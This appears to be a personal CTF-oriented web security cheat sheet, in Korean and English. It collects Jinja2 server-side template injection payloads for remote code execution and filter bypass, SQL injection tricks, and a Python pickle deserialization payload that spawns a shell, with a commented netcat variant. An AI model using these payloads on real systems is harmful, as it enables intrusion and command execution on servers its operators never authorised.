web note (update 2021.10.27)
2021/10/27 10:00 AM Author : Ainsetin
post will be frequently updated
SSTI (Server Side Template Injection)
해당 취약점은 웹 프레임워크에서 사용되는 여러 가지 Template Engine에서 발생하며, 특별한 구문을 통해 RCE
를 일으킬 수도 있다.
This vulnerability occurs in various Template Engines used in web frameworks, RCE and can also be triggered through special syntax.
▶ jinja2
# 기본
{{ 4*4 }} => 16
# check with config
{{ config }}
{{ config.items() }}
{{ config['secret_key'] }}
# RCE with config
{{ config.__class__.__init__.__globals__['os'].popen("ls").read() }}
{{ (config|attr("__class__")).__init__.__globals__['os'].popen('cat flag').read() }}
# etc ('',(),get_flashed_messages, url_for, ...)
{{ ''.__class__.__mro__[1].__subclasses__()[**index**]('cat flag', shell=True, stdout=-1).communicate() }}
{{ get_flashed_messages.__globals__.__builtins__.open("/flag").read() }}
{{ url_for.__globals__.__builtins__.eval('__import__("os").popen("ls -al").read()') }}
# with request - 필터링이 매우 많을 경우 more query + request를 활용하여 우회
http://foo.bar/?payload={{ request|attr('class')|attr(request.args.get('mro'))|attr(request.args.get('getitem'))(1) }}&class=__class__&mro=__mro__&getitem=__getitem__
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')()}}
SQLI (sql injection)
해당 취약점은 DB를 관리하는 응용 프로그램에서 SQL 쿼리를 전달할 때 의도하지 않은 구문을 전달할 수 있도록 변조시키는 데 목적이 있다.
The vulnerability is aimed at modulating the DB management application to deliver unintended phrases when delivering SQL queries.
1. Comment symbol
/* ~ */
,-- ~
,#
(URL encoded :%23
)
-- example.
Select * from tbl where id='(user_input)'
-- Select ALL query from tbl
user_input="' or 1=1-- " => Select * from tbl where id='' or 1=1--'
user_input="' or 1=1#" => Select * from tbl where id='' or 1=1#
user_input="' or 1=1/*1234*/" => Select * from tbl where id='' or 1=1/*1234*/' ...?
(must have closed symbol)
2. with single quarter
- id가
''
로 감싸져 있을 경우'
를 input으로 넣어 먼저 닫아주게끔 한 뒤 조건문을 이어준다.
-- example.
Select * from tbl where id='(user_input)'
-- Select ALL query from tbl
user_input="' or 1='1" => Select * from tbl where id='' or 1='1'
3. and, or, &&, ||, in, between, like
-- and, or
Select * from tbl where id='1234' and pw='5678'
Select * from tbl where id='1234' or pw='5678'
-- &&, || (no space required)
Select * from tbl where id='1234'&&pw='5678'
Select * from tbl where id='1234'||pw='5678'
-- in
Select * from tbl where id in '1234' and pw in '5678'
-- between and (both number and char are possible)
Select * from tbl where age between 20 and 30 -- 20<=age<=30
Select * from tbl where score between 'A' and 'C' -- 'A'<=score<='C'
--like (starts with ~, ends with ~, include ~, length)
Select * from tbl where name like 'Bae%' -- starts with Bae
Select * from tbl where name like '%uk' -- ends with uk
Select * from tbl where name like '%won%' -- include won
Select * from tbl where name like '___' -- length 3 chars
Select * from tbl where binary name like '~' -- distinguish upper/lower
4. Internal function in mysql
char(...)
: change integer arguments to char (ex.char(0x61,0x62,0x63)
=>"abc"
)mid/substr[ing](a,b,c)
: getc
bytes ina
fromb(starts from 1 ~ ..)
left(a,b)
/right(a,b)
: getb
bytes ina
(begin / end(reverse but print correctly))version()
: get mysql versiondatabase()
: get current database
python pickle deserialization
pickle
로 직렬화된 객체가 변조되어 역직렬화하는 과정에서 시스템에 접근하거나 의도치 않은 것이 실행되기도 한다. 원하는 class를 선언한 뒤, __reduce__
를 통하여 pickle.loads
함수에서 unpickle 시 tuple
을 반환하여 함수를 실행시킬 수 있다.
import os
import pickle
class payload(object):
def __reduce__(self):
#return (os.system, ('ls', ))
#return (os.system, ('cat flag', ))
return (os.system, ('/bin/sh', ))
#return (os.system, ('/bin/sh | nc [ip] [port]', ))
pickle_d=pickle.dumps(payload())
pickle.loads(pickle_d) # get shell anyway
$ id
uid=1000(test) gid=1000(test) groups=1000(test)
update 예정.